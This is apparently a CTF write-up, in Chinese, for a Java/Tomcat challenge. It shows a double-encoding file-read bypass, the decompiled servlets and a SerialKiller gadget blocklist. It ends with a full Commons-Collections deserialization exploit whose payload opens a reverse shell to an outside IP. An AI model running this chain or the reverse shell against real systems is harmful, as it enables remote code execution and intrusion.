读文件

题目没有给源码,需要先自己读

image-20241007121609897

点击submit也没有反应,也抓不到包

image-20241007122011425

查看源码发现一个废弃参数

image-20241007122325243

尝试读文件发现需要包含java字符,但是不能有flag,可以用#注释掉

image-20241007122416762

然后读源代码

其实可以直接二次编码读flag

url1=file:///fla%2567%23java

image-20241007123430008

但还是做下预期解

tomcat网页根目录一般都在

/usr/local/tomcat/webapps/ROOT/WEB-INF

往下翻可以看到两个class

image-20241007124211405

源码分析

image-20241007125609940

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.help_me.Servlet;

import com.ctf.help_me.Utils.FileUtils;
import com.ctf.help_me.Utils.ImagesUtils;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.io.IOUtils;

@WebServlet(
    name = "ImagesServlet",
    urlPatterns = {"/Imagefile"}
)
public class ImageServlet extends HttpServlet {
    private static final String UPLOAD_DIRECTORY = "WEB-INF/";

    public ImageServlet() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String url = req.getParameter("url");
        String url1 = req.getParameter("url1");
        if (url != null) {
            if (FileUtils.CheckExt().contains(url.substring(url.indexOf(".")).toLowerCase())) {
                FileInputStream fis = new FileInputStream(req.getServletContext().getRealPath("./") + File.separator + "WEB-INF/" + url);
                int size = fis.available();
                byte[] data = new byte[size];
                fis.read(data);
                fis.close();
                resp.setContentType("image/jpeg");
                OutputStream os = resp.getOutputStream();
                ((OutputStream)os).write(data);
                ((OutputStream)os).flush();
                ((OutputStream)os).close();
            } else {
                this.Response(resp, "only images can be read. such as jpg/png");
            }
        } else if (url1 != null) {
            if (url1.contains("java") && !FileUtils.checkFile(url1)) {
                InputStream responseContent = null;

                try {
                    responseContent = ImagesUtils.visit(url1);
                    IOUtils.copy(responseContent, resp.getOutputStream());
                    resp.flushBuffer();
                } catch (Exception var12) {
                    Exception e = var12;
                    e.printStackTrace();
                } finally {
                    responseContent.close();
                }
            } else {
                this.Response(resp, "must contain java and not have flag");
            }
        } else {
            this.Response(resp, "Try again");
        }

    }

    private void Response(HttpServletResponse resp, String outStr) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

ImageServlet就是处理图片读取逻辑,url参数只准读图片,url1参数存在一个任意文件读取的漏洞,只需要在末尾添加一个%23java即可绕过限制

image-20241007130113258

它的check防止参数值中出现flag和\u,不过可以二次编码绕过读flag

看另一个Servlet

CmdServlet,一看名字就可能RCE

image-20241007130309201

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.help_me.Servlet;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.configuration.ConfigurationException;
import org.nibblesec.tools.SerialKiller;

@WebServlet(
    name = "CmdServlet",
    urlPatterns = {"/closetome"}
)
public class CmdServlet extends HttpServlet {
    public CmdServlet() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        String exp = req.getParameter("exp");
        byte[] b = Base64.getDecoder().decode(exp);
        ObjectInputStream ois = null;

        try {
            ois = new SerialKiller(new ByteArrayInputStream(b), "config/serialkiller.xml");
        } catch (ConfigurationException var8) {
            ConfigurationException e = var8;
            e.printStackTrace();
        }

        try {
            ((ObjectInputStream)ois).readObject();
        } catch (ClassNotFoundException var7) {
            ClassNotFoundException e = var7;
            e.printStackTrace();
        }

    }
}

路由在closetome,POST exp参数存在反序列化漏洞,但是会经过SerialKiller这个检测,看一下config/serialkiller.xml,里面应该是反序列化的黑名单

/usr/local/tomcat/webapps/ROOT/WEB-INF/classes/config/serialkiller.xml
<?xml version="1.0" encoding="UTF-8"?>
        <!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to 'false' for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <logging>
        <enabled>false</enabled>
    </logging>
    <blacklist>
        <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->
        <regexp>org.apache.commons.collections.Transformer$</regexp>
        <regexp>org.apache.commons.collections.functors.InstantiateFactory$</regexp>
        <regexp>com.sun.org.apache.xalan.internal.xsltc.traxTrAXFilter$</regexp>
        <regexp>org.apache.commons.collections.functorsFactoryTransformer$</regexp>

        <regexp>javax.management.BadAttributeValueExpException$</regexp>
        <regexp>org.apache.commons.collections.keyvalue.TiedMapEntry$</regexp>
        <regexp>org.apache.commons.collections.functors.ChainedTransformer$</regexp>
        <regexp>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$</regexp>
        <regexp>com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter$</regexp>
        <regexp>java.security.SignedObject$</regexp>

        <regexp>org.apache.commons.collections.Transformer$</regexp>
        <regexp>org.apache.commons.collections.functors.InstantiateFactory$</regexp>
        <regexp>com.sun.org.apache.xalan.internal.xsltc.traxTrAXFilter$</regexp>
        <regexp>org.apache.commons.collections.functorsFactoryTransformer$</regexp>
        <!-- ysoserial's CommonsCollections2,4 payload  -->
        <regexp>org.apache.commons.beanutils.BeanComparator$</regexp>
        <regexp>org.apache.commons.collections.Transformer$</regexp>
        <regexp>com.sun.rowset.JdbcRowSetImpl$</regexp>
        <regexp>java.rmi.registry.Registry$</regexp>
        <regexp>java.rmi.server.ObjID$</regexp>
        <regexp>java.rmi.server.RemoteObjectInvocationHandler$</regexp>
        <regexp>org.springframework.beans.factory.ObjectFactory$</regexp>
        <regexp>org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider$</regexp>
        <regexp>org.springframework.aop.framework.AdvisedSupport$</regexp>
        <regexp>org.springframework.aop.target.SingletonTargetSource$</regexp>
        <regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp>
        <regexp>org.springframework.core.SerializableTypeWrapper$TypeProvider$</regexp>
        <regexp>org.springframework.aop.framework.JdkDynamicAopProxy$</regexp>
        <regexp>java.util.PriorityQueue$</regexp>
        <regexp>java.lang.reflect.Proxy$</regexp>
        <regexp>javax.management.MBeanServerInvocationHandler$</regexp>
        <regexp>javax.management.openmbean.CompositeDataInvocationHandler$</regexp>
        <regexp>java.beans.EventHandler$</regexp>
        <regexp>java.util.Comparator$</regexp>
        <regexp>org.reflections.Reflections$</regexp>
    </blacklist>
    <whitelist>
        <regexp>.*</regexp>
    </whitelist>
</config>

CC1 2 3 4 5 6 都被ban,但还剩下一个cc7

原链是

java.util.Hashtable.readObject
  java.util.Hashtable.reconstitutionPut
  org.apache.commons.collections.map.AbstractMapDecorator.equals
  java.util.AbstractMap.equals
  org.apache.commons.collections.map.LazyMap.get
  org.apache.commons.collections.functors.ChainedTransformer.transform
  org.apache.commons.collections.functors.InvokerTransformer.transform
  java.lang.reflect.Method.invoke
  sun.reflect.DelegatingMethodAccessorImpl.invoke
  sun.reflect.NativeMethodAccessorImpl.invoke
  sun.reflect.NativeMethodAccessorImpl.invoke0
  java.lang.Runtime.exec

但是ChainedTransformer被ban了,还好InvokerTransformer没有被ban,查笔记发现InvokerTransformer可以打RMIconnector的二次反序列化,笔记是用的cc6打的,这里用cc7,大同小异,可以直接参考y4佬的WithoutChainedTransformer

exp

exp.java

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.*;

public class exp2
{
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL,"urlPath","/stub/"+getbase64paylod("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjQwLzQ1NjcgMD4mMQ==}|{base64,-d}|{bash,-i}"));
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, invokerTransformer);
        lazyMap1.put("0", "yy");

        Map lazyMap2 = LazyMap.decorate(innerMap2, invokerTransformer);
        lazyMap2.put("yy", rmiConnector);


        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);

        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        table.setAccessible(true);
        Object[] array = (Object[])table.get(innerMap1);
        Object node = array[0];
        if(node == null){
            node = array[1];
        }
        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node, rmiConnector);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        oos.close();


        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));


    }
    public  static String getbase64paylod(String cmd) throws Exception {
        ChainedTransformer chainedTransformer=new ChainedTransformer( new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
        HashMap<Object, Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry, "2");
        lazyMap.remove("aaa");

        setFieldValue(lazyMap,"factory",chainedTransformer);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap1);
        return Base64.getEncoder().encodeToString(barr.toByteArray());
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

image-20241007213913481

image-20241007213959850